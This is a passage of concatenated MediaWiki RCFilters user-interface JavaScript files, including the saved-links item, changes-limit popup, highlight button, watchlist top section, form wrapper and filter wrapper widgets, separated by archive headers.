	this.model.getGroupModel().connect( this, { update: 'onGroupModelUpdate' } );

	this.$element
		.addClass( 'mw-rcfilters-ui-filterMenuOptionWidget' );
};

/* Initialization */
OO.inheritClass( FilterMenuOptionWidget, ItemMenuOptionWidget );

/* Static properties */

// We do our own scrolling to top
FilterMenuOptionWidget.static.scrollIntoViewOnSelect = false;

/* Methods */

/**
 * @inheritdoc
 */
FilterMenuOptionWidget.prototype.updateUiBasedOnState = function () {
	// Parent
	FilterMenuOptionWidget.parent.prototype.updateUiBasedOnState.call( this );

	this.setCurrentMuteState();
};

/**
 * Respond to item group model update event
 */
FilterMenuOptionWidget.prototype.onGroupModelUpdate = function () {
	this.setCurrentMuteState();
};

/**
 * Set the current muted view of the widget based on its state
 */
FilterMenuOptionWidget.prototype.setCurrentMuteState = function () {
	if ( this.invertModel && this.invertModel.isSelected() ) {
		// This is an inverted behavior than the other rules, specifically
		// for inverted namespaces
		this.setFlags( {
			muted: this.model.isSelected()
		} );
	} else {
		this.setFlags( {
			muted: (
				this.model.isConflicted() ||
				(
					// Item is also muted when any of the items in its group is active
					this.model.getGroupModel().isActive() &&
					// But it isn't selected
					!this.model.isSelected() &&
					// And also not included
					!this.model.isIncluded()
				)
			)
		} );
	}
};

module.exports = FilterMenuOptionWidget;
mediawiki.rcfilters/ui/SavedLinksListItemWidget.js000066600000016530151335045660016361 0ustar00/**
 * Quick links menu option widget
 *
 * @class mw.rcfilters.ui.SavedLinksListItemWidget
 * @extends OO.ui.Widget
 *
 * @constructor
 * @param {mw.rcfilters.dm.SavedQueryItemModel} model View model
 * @param {Object} [config] Configuration object
 * @cfg {jQuery} [$overlay] A jQuery object serving as overlay for popups
 */
var SavedLinksListItemWidget = function MwRcfiltersUiSavedLinksListWidget( model, config ) {
	config = config || {};

	this.model = model;

	// Parent
	SavedLinksListItemWidget.parent.call( this, $.extend( {
		data: this.model.getID(),
		label: this.model.getLabel(),
		title: this.model.getLabel()
	}, config ) );

	this.edit = false;
	this.$overlay = config.$overlay || this.$element;

	this.buttonMenu = new OO.ui.ButtonMenuSelectWidget( {
		classes: [ 'mw-rcfilters-ui-savedLinksListItemWidget-button' ],
		icon: 'ellipsis',
		framed: false,
		menu: {
			classes: [ 'mw-rcfilters-ui-savedLinksListItemWidget-menu' ],
			width: 200,
			horizontalPosition: 'end',
			$overlay: this.$overlay,
			items: [
				new OO.ui.MenuOptionWidget( {
					data: 'edit',
					icon: 'edit',
					label: mw.msg( 'rcfilters-savedqueries-rename' )
				} ),
				new OO.ui.MenuOptionWidget( {
					data: 'delete',
					icon: 'trash',
					label: mw.msg( 'rcfilters-savedqueries-remove' )
				} ),
				new OO.ui.MenuOptionWidget( {
					data: 'default',
					icon: 'pushPin',
					label: mw.msg( 'rcfilters-savedqueries-setdefault' )
				} )
			]
		}
	} );

	this.editInput = new OO.ui.TextInputWidget( {
		classes: [ 'mw-rcfilters-ui-savedLinksListItemWidget-input' ]
	} );
	this.saveButton = new OO.ui.ButtonWidget( {
		icon: 'check',
		flags: [ 'primary', 'progressive' ]
	} );
	this.toggleEdit( false );

	// Events
	this.model.connect( this, { update: 'onModelUpdate' } );
	this.buttonMenu.menu.connect( this, {
		choose: 'onMenuChoose'
	} );
	this.saveButton.connect( this, { click: 'save' } );
	this.editInput.connect( this, {
		change: 'onInputChange',
		enter: 'save'
	} );
	this.editInput.$input.on( {
		blur: this.onInputBlur.bind( this ),
		keyup: this.onInputKeyup.bind( this )
	} );
	this.$element.on( { mousedown: this.onMouseDown.bind( this ) } );
	this.$icon.on( { click: this.onDefaultIconClick.bind( this ) } );

	// Prevent clicks on interactive elements from closing the parent menu
	this.buttonMenu.$element.add( this.$icon ).on( 'mousedown', function ( e ) {
		e.stopPropagation();
	} );

	// Initialize
	this.toggleDefault( !!this.model.isDefault() );
	// eslint-disable-next-line mediawiki/class-doc
	this.$element
		.addClass( 'mw-rcfilters-ui-savedLinksListItemWidget' )
		.addClass( 'mw-rcfilters-ui-savedLinksListItemWidget-query-' + this.model.getID() )
		.append(
			$( '<div>' )
				.addClass( 'mw-rcfilters-ui-table' )
				.append(
					$( '<div>' )
						.addClass( 'mw-rcfilters-ui-row' )
						.append(
							$( '<div>' )
								.addClass( 'mw-rcfilters-ui-cell' )
								.addClass( 'mw-rcfilters-ui-savedLinksListItemWidget-content' )
								.append(
									this.$label
										.addClass( 'mw-rcfilters-ui-savedLinksListItemWidget-label' ),
									this.editInput.$element,
									this.saveButton.$element
								),
							$( '<div>' )
								.addClass( 'mw-rcfilters-ui-cell' )
								.addClass( 'mw-rcfilters-ui-savedLinksListItemWidget-icon' )
								.append( this.$icon ),
							this.buttonMenu.$element
								.addClass( 'mw-rcfilters-ui-cell' )
						)
				)
		);
};

/* Initialization */
OO.inheritClass( SavedLinksListItemWidget, OO.ui.MenuOptionWidget );

/* Events */

/**
 * @event delete
 *
 * The delete option was selected for this item
 */

/**
 * @event default
 * @param {boolean} default Item is default
 *
 * The 'make default' option was selected for this item
 */

/**
 * @event edit
 * @param {string} newLabel New label for the query
 *
 * The label has been edited
 */

/* Methods */

/**
 * Respond to model update event
 */
SavedLinksListItemWidget.prototype.onModelUpdate = function () {
	this.setLabel( this.model.getLabel() );
	this.toggleDefault( this.model.isDefault() );
};

/**
 * Handle mousedown events
 *
 * @param {jQuery.Event} e
 */
SavedLinksListItemWidget.prototype.onMouseDown = function ( e ) {
	if ( this.editing ) {
		e.stopPropagation();
	}
};

/**
 * Respond to click on the 'default' icon. Open the submenu where the
 * default state can be changed.
 *
 * @return {boolean} false
 */
SavedLinksListItemWidget.prototype.onDefaultIconClick = function () {
	this.buttonMenu.menu.toggle();
	return false;
};

/**
 * Respond to menu choose event
 *
 * @param {OO.ui.MenuOptionWidget} item Chosen item
 * @fires delete
 * @fires default
 */
SavedLinksListItemWidget.prototype.onMenuChoose = function ( item ) {
	var action = item.getData();

	if ( action === 'edit' ) {
		this.toggleEdit( true );
	} else if ( action === 'delete' ) {
		this.emit( 'delete' );
	} else if ( action === 'default' ) {
		this.emit( 'default', !this.default );
	}
};

/**
 * Respond to input keyup event, this is the way to intercept 'escape' key
 *
 * @param {jQuery.Event} e Event data
 * @return {boolean} false
 */
SavedLinksListItemWidget.prototype.onInputKeyup = function ( e ) {
	if ( e.which === OO.ui.Keys.ESCAPE ) {
		// Return the input to the original label
		this.editInput.setValue( this.getLabel() );
		this.toggleEdit( false );
		return false;
	}
};

/**
 * Respond to blur event on the input
 */
SavedLinksListItemWidget.prototype.onInputBlur = function () {
	this.save();

	// Whether the save succeeded or not, the input-blur event
	// means we need to cancel editing mode
	this.toggleEdit( false );
};

/**
 * Respond to input change event
 *
 * @param {string} value Input value
 */
SavedLinksListItemWidget.prototype.onInputChange = function ( value ) {
	value = value.trim();

	this.saveButton.setDisabled( !value );
};

/**
 * Save the name of the query
 *
 * @fires edit
 */
SavedLinksListItemWidget.prototype.save = function () {
	var value = this.editInput.getValue().trim();

	if ( value ) {
		this.emit( 'edit', value );
		this.toggleEdit( false );
	}
};

/**
 * Toggle edit mode on this widget
 *
 * @param {boolean} isEdit Widget is in edit mode
 */
SavedLinksListItemWidget.prototype.toggleEdit = function ( isEdit ) {
	isEdit = isEdit === undefined ? !this.editing : isEdit;

	if ( this.editing !== isEdit ) {
		this.$element.toggleClass( 'mw-rcfilters-ui-savedLinksListItemWidget-edit', isEdit );
		this.editInput.setValue( this.getLabel() );

		this.editInput.toggle( isEdit );
		this.$label.toggleClass( 'oo-ui-element-hidden', isEdit );
		this.$icon.toggleClass( 'oo-ui-element-hidden', isEdit );
		this.buttonMenu.toggle( !isEdit );
		this.saveButton.toggle( isEdit );

		if ( isEdit ) {
			this.editInput.focus();
		}
		this.editing = isEdit;
	}
};

/**
 * Toggle default this widget
 *
 * @param {boolean} isDefault This item is default
 */
SavedLinksListItemWidget.prototype.toggleDefault = function ( isDefault ) {
	isDefault = isDefault === undefined ? !this.default : isDefault;

	if ( this.default !== isDefault ) {
		this.default = isDefault;
		this.setIcon( this.default ? 'pushPin' : '' );
		this.buttonMenu.menu.findItemFromData( 'default' ).setLabel(
			this.default ?
				mw.msg( 'rcfilters-savedqueries-unsetdefault' ) :
				mw.msg( 'rcfilters-savedqueries-setdefault' )
		);
	}
};

/**
 * Get item ID
 *
 * @return {string} Query identifier
 */
SavedLinksListItemWidget.prototype.getID = function () {
	return this.model.getID();
};

module.exports = SavedLinksListItemWidget;
mediawiki.rcfilters/ui/ChangesLimitPopupWidget.js000066600000005442151335045660016236 0ustar00var ValuePickerWidget = require( './ValuePickerWidget.js' ),
	ChangesLimitPopupWidget;

/**
 * Widget defining the popup to choose number of results
 *
 * @class mw.rcfilters.ui.ChangesLimitPopupWidget
 * @extends OO.ui.Widget
 *
 * @constructor
 * @param {mw.rcfilters.dm.FilterGroup} limitModel Group model for 'limit'
 * @param {mw.rcfilters.dm.FilterItem} groupByPageItemModel Group model for 'limit'
 * @param {Object} [config] Configuration object
 */
ChangesLimitPopupWidget = function MwRcfiltersUiChangesLimitPopupWidget( limitModel, groupByPageItemModel, config ) {
	config = config || {};

	// Parent
	ChangesLimitPopupWidget.parent.call( this, config );

	this.limitModel = limitModel;
	this.groupByPageItemModel = groupByPageItemModel;

	this.valuePicker = new ValuePickerWidget(
		this.limitModel,
		{
			label: mw.msg( 'rcfilters-limit-title' )
		}
	);

	this.groupByPageCheckbox = new OO.ui.CheckboxInputWidget( {
		selected: this.groupByPageItemModel.isSelected()
	} );

	// Events
	this.valuePicker.connect( this, { choose: [ 'emit', 'limit' ] } );
	this.groupByPageCheckbox.connect( this, { change: [ 'emit', 'groupByPage' ] } );
	this.groupByPageItemModel.connect( this, { update: 'onGroupByPageModelUpdate' } );
	// HACK: Directly connect to the checkbox click event so that we can save the preference
	// when the user explicitly interacts with the checkbox rather than when the checkbox changes
	// state. This is to make sure that we only save preference when the user explicitly interacts
	// with the UI.
	this.groupByPageCheckbox.$element.on( 'click', this.onGroupByPageUserClick.bind( this ) );

	// Initialize
	this.$element
		.addClass( 'mw-rcfilters-ui-changesLimitPopupWidget' )
		.append(
			this.valuePicker.$element,
			OO.ui.isMobile() ? undefined :
				new OO.ui.FieldLayout(
					this.groupByPageCheckbox,
					{
						align: 'inline',
						label: mw.msg( 'rcfilters-group-results-by-page' )
					}
				).$element
		);

	this.valuePicker.selectWidget.$element.attr( 'aria-label', mw.msg( 'rcfilters-limit-title' ) );
};

/* Initialization */

OO.inheritClass( ChangesLimitPopupWidget, OO.ui.Widget );

/* Events */

/**
 * @event limit
 * @param {string} name Item name
 *
 * A limit item was chosen
 */

/**
 * @event groupByPage
 * @param {boolean} isGrouped The results are grouped by page
 *
 * Results are grouped by page
 */

/**
 * Respond to group by page model update
 */
ChangesLimitPopupWidget.prototype.onGroupByPageModelUpdate = function () {
	this.groupByPageCheckbox.setSelected( this.groupByPageItemModel.isSelected() );
};

/**
 * Respond to user explicitly clicking the Group by page checkbox
 */
ChangesLimitPopupWidget.prototype.onGroupByPageUserClick = function () {
	this.emit( 'groupByPageUserClick', this.groupByPageCheckbox.isSelected() );
};

module.exports = ChangesLimitPopupWidget;
mediawiki.rcfilters/ui/FilterItemHighlightButton.js000066600000005043151335045660016564 0ustar00/**
 * A button to configure highlight for a filter item
 *
 * @class mw.rcfilters.ui.FilterItemHighlightButton
 * @extends OO.ui.PopupButtonWidget
 *
 * @constructor
 * @param {mw.rcfilters.Controller} controller RCFilters controller
 * @param {mw.rcfilters.dm.FilterItem} model Filter item model
 * @param {mw.rcfilters.ui.HighlightPopupWidget} highlightPopup Shared highlight color picker
 * @param {Object} [config] Configuration object
 */
var FilterItemHighlightButton = function MwRcfiltersUiFilterItemHighlightButton( controller, model, highlightPopup, config ) {
	config = config || {};

	// Parent
	FilterItemHighlightButton.parent.call( this, $.extend( true, {}, config, {
		icon: 'highlight',
		indicator: 'down'
	} ) );

	this.controller = controller;
	this.model = model;
	this.popup = highlightPopup;

	// Event
	this.model.connect( this, { update: 'updateUiBasedOnModel' } );
	// This lives inside a MenuOptionWidget, which intercepts mousedown
	// to select the item. We want to prevent that when we click the highlight
	// button
	this.$element.on( 'mousedown', function ( e ) {
		e.stopPropagation();
	} );

	this.updateUiBasedOnModel();

	this.$element
		.addClass( 'mw-rcfilters-ui-filterItemHighlightButton' );
};

/* Initialization */

OO.inheritClass( FilterItemHighlightButton, OO.ui.PopupButtonWidget );

/* Static Properties */

/**
 * @static
 */
FilterItemHighlightButton.static.cancelButtonMouseDownEvents = true;

/* Methods */

FilterItemHighlightButton.prototype.onAction = function () {
	this.popup.setAssociatedButton( this );
	this.popup.setFilterItem( this.model );

	// Parent method
	FilterItemHighlightButton.parent.prototype.onAction.call( this );
};

/**
 * Respond to item model update event
 */
FilterItemHighlightButton.prototype.updateUiBasedOnModel = function () {
	var currentColor = this.model.getHighlightColor(),
		widget = this;

	this.$icon.toggleClass(
		'mw-rcfilters-ui-filterItemHighlightButton-circle',
		currentColor !== null
	);

	mw.rcfilters.HighlightColors.forEach( function ( c ) {
		// The following classes are used here:
		// * mw-rcfilters-ui-filterItemHighlightButton-circle-color-c1
		// * mw-rcfilters-ui-filterItemHighlightButton-circle-color-c2
		// * mw-rcfilters-ui-filterItemHighlightButton-circle-color-c3
		// * mw-rcfilters-ui-filterItemHighlightButton-circle-color-c4
		// * mw-rcfilters-ui-filterItemHighlightButton-circle-color-c5
		widget.$icon
			.toggleClass(
				'mw-rcfilters-ui-filterItemHighlightButton-circle-color-' + c,
				c === currentColor
			);
	} );
};

module.exports = FilterItemHighlightButton;
mediawiki.rcfilters/ui/WatchlistTopSectionWidget.js000066600000005146151335045660016616 0ustar00var MarkSeenButtonWidget = require( './MarkSeenButtonWidget.js' ),
	WatchlistTopSectionWidget;
/**
 * Top section (between page title and filters) on Special:Watchlist
 *
 * @class mw.rcfilters.ui.WatchlistTopSectionWidget
 * @extends OO.ui.Widget
 *
 * @constructor
 * @param {mw.rcfilters.Controller} controller
 * @param {mw.rcfilters.dm.ChangesListViewModel} changesListModel
 * @param {mw.rcfilters.ui.SavedLinksListWidget} savedLinksListWidget
 * @param {jQuery} $watchlistDetails Content of the 'details' section that includes watched pages count
 * @param {Object} [config] Configuration object
 */
WatchlistTopSectionWidget = function MwRcfiltersUiWatchlistTopSectionWidget(
	controller, changesListModel, savedLinksListWidget, $watchlistDetails, config
) {
	var editWatchlistButton,
		markSeenButton,
		$topTable,
		$bottomTable,
		$separator;
	config = config || {};

	// Parent
	WatchlistTopSectionWidget.parent.call( this, config );

	editWatchlistButton = new OO.ui.ButtonWidget( {
		label: mw.msg( 'rcfilters-watchlist-edit-watchlist-button' ),
		icon: 'edit',
		href: require( '../config.json' ).StructuredChangeFiltersEditWatchlistUrl
	} );
	markSeenButton = new MarkSeenButtonWidget( controller, changesListModel );

	$topTable = $( '<div>' )
		.addClass( 'mw-rcfilters-ui-table' )
		.append(
			$( '<div>' )
				.addClass( 'mw-rcfilters-ui-row' )
				.append(
					$( '<div>' )
						.addClass( 'mw-rcfilters-ui-cell' )
						.addClass( 'mw-rcfilters-ui-watchlistTopSectionWidget-watchlistDetails' )
						.append( $watchlistDetails )
				)
				.append(
					$( '<div>' )
						.addClass( 'mw-rcfilters-ui-cell' )
						.addClass( 'mw-rcfilters-ui-watchlistTopSectionWidget-editWatchlistButton' )
						.append( editWatchlistButton.$element )
				)
		);

	$bottomTable = $( '<div>' )
		.addClass( 'mw-rcfilters-ui-table' )
		.addClass( 'mw-rcfilters-ui-watchlistTopSectionWidget-savedLinksTable' )
		.append(
			$( '<div>' )
				.addClass( 'mw-rcfilters-ui-row' )
				.append(
					$( '<div>' )
						.addClass( 'mw-rcfilters-ui-cell' )
						.append( markSeenButton.$element )
				)
				.append(
					$( '<div>' )
						.addClass( 'mw-rcfilters-ui-cell' )
						.addClass( 'mw-rcfilters-ui-watchlistTopSectionWidget-savedLinks' )
						.append( savedLinksListWidget.$element )
				)
		);

	$separator = $( '<div>' )
		.addClass( 'mw-rcfilters-ui-watchlistTopSectionWidget-separator' );

	this.$element
		.addClass( 'mw-rcfilters-ui-watchlistTopSectionWidget' )
		.append( $topTable, $separator, $bottomTable );
};

/* Initialization */

OO.inheritClass( WatchlistTopSectionWidget, OO.ui.Widget );

module.exports = WatchlistTopSectionWidget;
mediawiki.rcfilters/ui/RclTopSectionWidget.js000066600000004154151335045660015372 0ustar00var RclToOrFromWidget = require( './RclToOrFromWidget.js' ),
	RclTargetPageWidget = require( './RclTargetPageWidget.js' ),
	RclTopSectionWidget;

/**
 * Top section (between page title and filters) on Special:RecentChangesLinked (AKA RelatedChanges)
 *
 * @class mw.rcfilters.ui.RclTopSectionWidget
 * @extends OO.ui.Widget
 *
 * @constructor
 * @param {mw.rcfilters.ui.SavedLinksListWidget} savedLinksListWidget
 * @param {mw.rcfilters.Controller} controller
 * @param {mw.rcfilters.dm.FilterItem} showLinkedToModel Model for 'showlinkedto' parameter
 * @param {mw.rcfilters.dm.FilterItem} targetPageModel Model for 'target' parameter
 * @param {Object} [config] Configuration object
 */
RclTopSectionWidget = function MwRcfiltersUiRclTopSectionWidget(
	savedLinksListWidget, controller, showLinkedToModel, targetPageModel, config
) {
	var toOrFromWidget,
		targetPage;
	config = config || {};

	// Parent
	RclTopSectionWidget.parent.call( this, config );

	this.controller = controller;

	toOrFromWidget = new RclToOrFromWidget( controller, showLinkedToModel );
	targetPage = new RclTargetPageWidget( controller, targetPageModel );

	// Initialize
	this.$element
		.addClass( 'mw-rcfilters-ui-rclTopSectionWidget' )
		.append(
			$( '<div>' )
				.addClass( 'mw-rcfilters-ui-table' )
				.append(
					$( '<div>' )
						.addClass( 'mw-rcfilters-ui-row' )
						.append(
							$( '<div>' )
								.addClass( 'mw-rcfilters-ui-cell' )
								.append( toOrFromWidget.$element )
						),
					$( '<div>' )
						.addClass( 'mw-rcfilters-ui-row' )
						.append(
							$( '<div>' )
								.addClass( 'mw-rcfilters-ui-cell' )
								.append( targetPage.$element ),
							$( '<div>' )
								.addClass( 'mw-rcfilters-ui-table-placeholder' )
								.addClass( 'mw-rcfilters-ui-cell' ),
							!mw.user.isAnon() ?
								$( '<div>' )
									.addClass( 'mw-rcfilters-ui-cell' )
									.addClass( 'mw-rcfilters-ui-rclTopSectionWidget-savedLinks' )
									.append( savedLinksListWidget.$element ) :
								null
						)
				)
		);
};

/* Initialization */

OO.inheritClass( RclTopSectionWidget, OO.ui.Widget );

module.exports = RclTopSectionWidget;
mediawiki.rcfilters/ui/FormWrapperWidget.js000066600000012716151335045660015111 0ustar00/**
 * Wrapper for the RC form with hide/show links
 * Must be constructed after the model is initialized.
 *
 * @class mw.rcfilters.ui.FormWrapperWidget
 * @extends OO.ui.Widget
 *
 * @constructor
 * @param {mw.rcfilters.dm.FiltersViewModel} filtersModel Changes list view model
 * @param {mw.rcfilters.dm.ChangesListViewModel} changeListModel Changes list view model
 * @param {mw.rcfilters.Controller} controller RCfilters controller
 * @param {jQuery} $formRoot Root element of the form to attach to
 * @param {Object} config Configuration object
 */
var FormWrapperWidget = function MwRcfiltersUiFormWrapperWidget( filtersModel, changeListModel, controller, $formRoot, config ) {
	config = config || {};

	// Parent
	FormWrapperWidget.parent.call( this, $.extend( {}, config, {
		$element: $formRoot
	} ) );

	this.changeListModel = changeListModel;
	this.filtersModel = filtersModel;
	this.controller = controller;
	this.$submitButton = this.$element.find( 'form input[type=submit]' );

	this.$element
		.on( 'click', 'a[data-params]', this.onLinkClick.bind( this ) );

	this.$element
		.on( 'submit', 'form', this.onFormSubmit.bind( this ) );

	// Events
	this.changeListModel.connect( this, {
		invalidate: 'onChangesModelInvalidate',
		update: 'onChangesModelUpdate'
	} );

	// Initialize
	this.cleanUpFieldset();
	this.$element
		.addClass( 'mw-rcfilters-ui-FormWrapperWidget' );
};

/* Initialization */

OO.inheritClass( FormWrapperWidget, OO.ui.Widget );

/**
 * Respond to link click
 *
 * @param {jQuery.Event} e Event
 * @return {boolean} false
 */
FormWrapperWidget.prototype.onLinkClick = function ( e ) {
	this.controller.updateChangesList( $( e.target ).data( 'params' ) );
	return false;
};

/**
 * Respond to form submit event
 *
 * @param {jQuery.Event} e Event
 * @return {boolean} false
 */
FormWrapperWidget.prototype.onFormSubmit = function ( e ) {
	var data = {};

	// Collect all data from the form
	$( e.target ).find( 'input, select' ).each( function () {
		if ( this.type === 'hidden' || this.type === 'submit' ) {
			return;
		}

		if ( this.type === 'checkbox' && !this.checked ) {
			// Use a fixed value for unchecked checkboxes.
			data[ this.name ] = '';
		} else {
			// Use the live value for select, checked checkboxes, or non-checkbox input.
			data[ this.name ] = $( this ).val();
		}
	} );

	this.controller.updateChangesList( data );
	return false;
};

/**
 * Respond to model invalidate
 */
FormWrapperWidget.prototype.onChangesModelInvalidate = function () {
	this.$submitButton.prop( 'disabled', true );
};

/**
 * Respond to model update, replace the show/hide links with the ones from the
 * server so they feature the correct state.
 *
 * @param {jQuery|string} $changesList Updated changes list
 * @param {jQuery} $fieldset Updated fieldset
 * @param {string} noResultsDetails Type of no result error
 * @param {boolean} isInitialDOM Whether $changesListContent is the existing (already attached) DOM
 */
FormWrapperWidget.prototype.onChangesModelUpdate = function ( $changesList, $fieldset, noResultsDetails, isInitialDOM ) {
	this.$submitButton.prop( 'disabled', false );

	// Replace the entire fieldset
	this.$element.empty().append( $fieldset.contents() );

	if ( !isInitialDOM ) {
		// Make sure enhanced RC re-initializes correctly
		mw.hook( 'wikipage.content' ).fire( this.$element );
	}

	this.cleanUpFieldset();
};

/**
 * Clean up the old-style show/hide that we have implemented in the filter list
 */
FormWrapperWidget.prototype.cleanUpFieldset = function () {
	this.$element.find( '.clshowhideoption[data-feature-in-structured-ui=1]' ).each( function () {
		// HACK: Remove the text node after the span.
		// If there isn't one, we're at the end, so remove the text node before the span.
		// This would be unnecessary if we added separators with CSS.
		if ( this.nextSibling && this.nextSibling.nodeType === Node.TEXT_NODE ) {
			this.parentNode.removeChild( this.nextSibling );
		} else if ( this.previousSibling && this.previousSibling.nodeType === Node.TEXT_NODE ) {
			this.parentNode.removeChild( this.previousSibling );
		}
		// Remove the span itself
		this.parentNode.removeChild( this );
	} );

	// Hide namespaces and tags
	this.$element.find( '.namespaceForm' ).detach();
	this.$element.find( '.mw-tagfilter-label' ).closest( 'tr' ).detach();

	// Hide Related Changes page name form
	this.$element.find( '.targetForm' ).detach();

	// misc: limit, days, watchlist info msg
	this.$element.find( '.rclinks, .cldays, .wlinfo' ).detach();

	if ( !this.$element.find( '.mw-recentchanges-table tr' ).length ) {
		this.$element.find( '.mw-recentchanges-table' ).detach();
		this.$element.find( 'hr' ).detach();
	}

	// Get rid of all <br>s, which are inside rcshowhide
	// If we still have content in rcshowhide, the <br>s are
	// gone. Instead, the CSS now has a rule to mark all <span>s
	// inside .rcshowhide with display:block; to simulate newlines
	// where they're actually needed.
	this.$element.find( 'br' ).detach();
	if ( !this.$element.find( '.rcshowhide' ).contents().length ) {
		this.$element.find( '.rcshowhide' ).detach();
	}

	if ( this.$element.find( '.cloption' ).text().trim() === '' ) {
		this.$element.find( '.cloption-submit' ).detach();
	}

	this.$element.find(
		'.rclistfrom, .rcnotefrom, .rcoptions-listfromreset'
	).detach();

	// Get rid of the legend
	this.$element.find( 'legend' ).detach();

	// Check if the element is essentially empty, and detach it if it is
	if ( !this.$element.text().trim().length ) {
		this.$element.detach();
	}
};

module.exports = FormWrapperWidget;
mediawiki.rcfilters/ui/FilterWrapperWidget.js000066600000010211151335045660015417 0ustar00var FilterTagMultiselectWidget = require( './FilterTagMultiselectWidget.js' ),
	LiveUpdateButtonWidget = require( './LiveUpdateButtonWidget.js' ),
	ChangesLimitAndDateButtonWidget = require( './ChangesLimitAndDateButtonWidget.js' ),
	FilterWrapperWidget;

/**
 * List displaying all filter groups
 *
 * @class mw.rcfilters.ui.FilterWrapperWidget
 * @extends OO.ui.Widget
 * @mixins OO.ui.mixin.PendingElement
 *
 * @constructor
 * @param {mw.rcfilters.Controller} controller Controller
 * @param {mw.rcfilters.dm.FiltersViewModel} model View model
 * @param {mw.rcfilters.dm.SavedQueriesModel} savedQueriesModel Saved queries model
 * @param {mw.rcfilters.dm.ChangesListViewModel} changesListModel
 * @param {Object} [config] Configuration object
 * @cfg {Object} [filters] A definition of the filter groups in this list
 * @cfg {jQuery} [$overlay] A jQuery object serving as overlay for popups
 * @cfg {jQuery} [$wrapper] A jQuery object for the wrapper of the general
 *  system. If not given, falls back to this widget's $element
 * @cfg {boolean} [collapsed] Filter area is collapsed
 */
FilterWrapperWidget = function MwRcfiltersUiFilterWrapperWidget(
	controller, model, savedQueriesModel, changesListModel, config
) {
	var $bottom;
	config = config || {};

	// Parent
	FilterWrapperWidget.parent.call( this, config );
	// Mixin constructors
	OO.ui.mixin.PendingElement.call( this, config );

	this.controller = controller;
	this.model = model;
	this.queriesModel = savedQueriesModel;
	this.changesListModel = changesListModel;
	this.$overlay = config.$overlay || this.$element;
	this.$wrapper = config.$wrapper || this.$element;

	this.filterTagWidget = new FilterTagMultiselectWidget(
		this.controller,
		this.model,
		this.queriesModel,
		{
			$overlay: this.$overlay,
			collapsed: config.collapsed,
			$wrapper: this.$wrapper,
			isMobile: OO.ui.isMobile()
		}
	);

	this.liveUpdateButton = new LiveUpdateButtonWidget(
		this.controller,
		this.changesListModel
	);

	this.numChangesAndDateWidget = new ChangesLimitAndDateButtonWidget(
		this.controller,
		this.model,
		{
			$overlay: this.$overlay
		}
	);

	this.showNewChangesLink = new OO.ui.ButtonWidget( {
		icon: 'reload',
		framed: false,
		flags: [ 'progressive' ],
		classes: [ 'mw-rcfilters-ui-filterWrapperWidget-showNewChanges' ]
	} );

	// Events
	this.filterTagWidget.menu.connect( this, { toggle: [ 'emit', 'menuToggle' ] } );
	this.changesListModel.connect( this, { newChangesExist: 'onNewChangesExist' } );
	this.showNewChangesLink.connect( this, { click: 'onShowNewChangesClick' } );
	this.showNewChangesLink.toggle( false );

	// Initialize
	this.$top = $( '<div>' )
		.addClass( 'mw-rcfilters-ui-filterWrapperWidget-top' );

	$bottom = $( '<div>' )
		.addClass( 'mw-rcfilters-ui-filterWrapperWidget-bottom' )
		.addClass( OO.ui.isMobile() ? 'mw-rcfilters-ui-filterWrapperWidget-bottom-mobile' : '' )
		.append(
			this.showNewChangesLink.$element,
			this.numChangesAndDateWidget.$element
		);

	if ( this.controller.pollingRate ) {
		$bottom.prepend( this.liveUpdateButton.$element );
	}

	this.$element
		.addClass( 'mw-rcfilters-ui-filterWrapperWidget' )
		.append(
			this.$top,
			this.filterTagWidget.$element,
			$bottom
		);
};

/* Initialization */

OO.inheritClass( FilterWrapperWidget, OO.ui.Widget );
OO.mixinClass( FilterWrapperWidget, OO.ui.mixin.PendingElement );

/* Methods */

/**
 * Set the content of the top section
 *
 * @param {jQuery} $topSectionElement
 */
FilterWrapperWidget.prototype.setTopSection = function ( $topSectionElement ) {
	this.$top.append( $topSectionElement );
};

/**
 * Respond to the user clicking the 'show new changes' button
 */
FilterWrapperWidget.prototype.onShowNewChangesClick = function () {
	this.controller.showNewChanges();
};

/**
 * Respond to changes list model newChangesExist
 *
 * @param {boolean} newChangesExist Whether new changes exist
 */
FilterWrapperWidget.prototype.onNewChangesExist = function ( newChangesExist ) {
	if ( newChangesExist ) {
		this.showNewChangesLink.setLabel(
			mw.msg(
				'rcfilters-show-new-changes',
				this.changesListModel.getNextFromFormatted()
			)
		);
	}
	this.showNewChangesLink.toggle( newChangesExist );
};

module.exports = FilterWrapperWidget;
mediawiki.rcfilters/ui/HighlightPopupWidget.js000066600000003350151335045660015572 0ustar00var HighlightColorPickerWidget = require( './HighlightColorPickerWidget.js' ),
	HighlightPopupWidget;
/**
 * A popup containing a color picker, for setting highlight colors.
 *
 * @class mw.rcfilters.ui.HighlightPopupWidget
 * @extends OO.ui.PopupWidget
 *
 * @constructor
 * @param {mw.rcfilters.Controller} controller RCFilters controller
 * @param {Object} [config] Configuration object
 */
HighlightPopupWidget = function MwRcfiltersUiHighlightPopupWidget( controller, config ) {
	config = config || {};

	// Parent
	HighlightPopupWidget.parent.call( this, $.extend( {
		autoClose: true,
		anchor: false,
		padded: true,
		align: 'backwards',
		horizontalPosition: 'end',
		width: 290
	}, config ) );

	this.colorPicker = new HighlightColorPickerWidget( controller );

	this.colorPicker.connect( this, { chooseColor: 'onChooseColor' } );

	this.$body.append( this.colorPicker.$element );
};

/* Initialization */

OO.inheritClass( HighlightPopupWidget, OO.ui.PopupWidget );

/* Methods */

/**
 * Set the button (or other widget) that this popup should hang off.
 *
 * @param {OO.ui.Widget} widget Widget the popup should orient itself to
 */
HighlightPopupWidget.prototype.setAssociatedButton = function ( widget ) {
	this.setFloatableContainer( widget.$element );
	this.$autoCloseIgnore = widget.$element;
};

/**
 * Set the filter item that this popup should control the highlight color for.
 *
 * @param {mw.rcfilters.dm.FilterItem} item
 */
HighlightPopupWidget.prototype.setFilterItem = function ( item ) {
	this.colorPicker.setFilterItem( item );
};

/**
 * When the user chooses a color in the color picker, close the popup.
 */
HighlightPopupWidget.prototype.onChooseColor = function () {
	this.toggle( false );
};

module.exports = HighlightPopupWidget;
mediawiki.rcfilters/ui/FilterMenuSectionOptionWidget.js000066600000007407151335045660017436 0ustar00/**
 * A widget representing a menu section for filter groups
 *
 * @class mw.rcfilters.ui.FilterMenuSectionOptionWidget
 * @extends OO.ui.MenuSectionOptionWidget
 *
 * @constructor
 * @param {mw.rcfilters.Controller} controller RCFilters controller
 * @param {mw.rcfilters.dm.FilterGroup} model Filter group model
 * @param {Object} config Configuration object
 * @cfg {jQuery} [$overlay] Overlay
 */
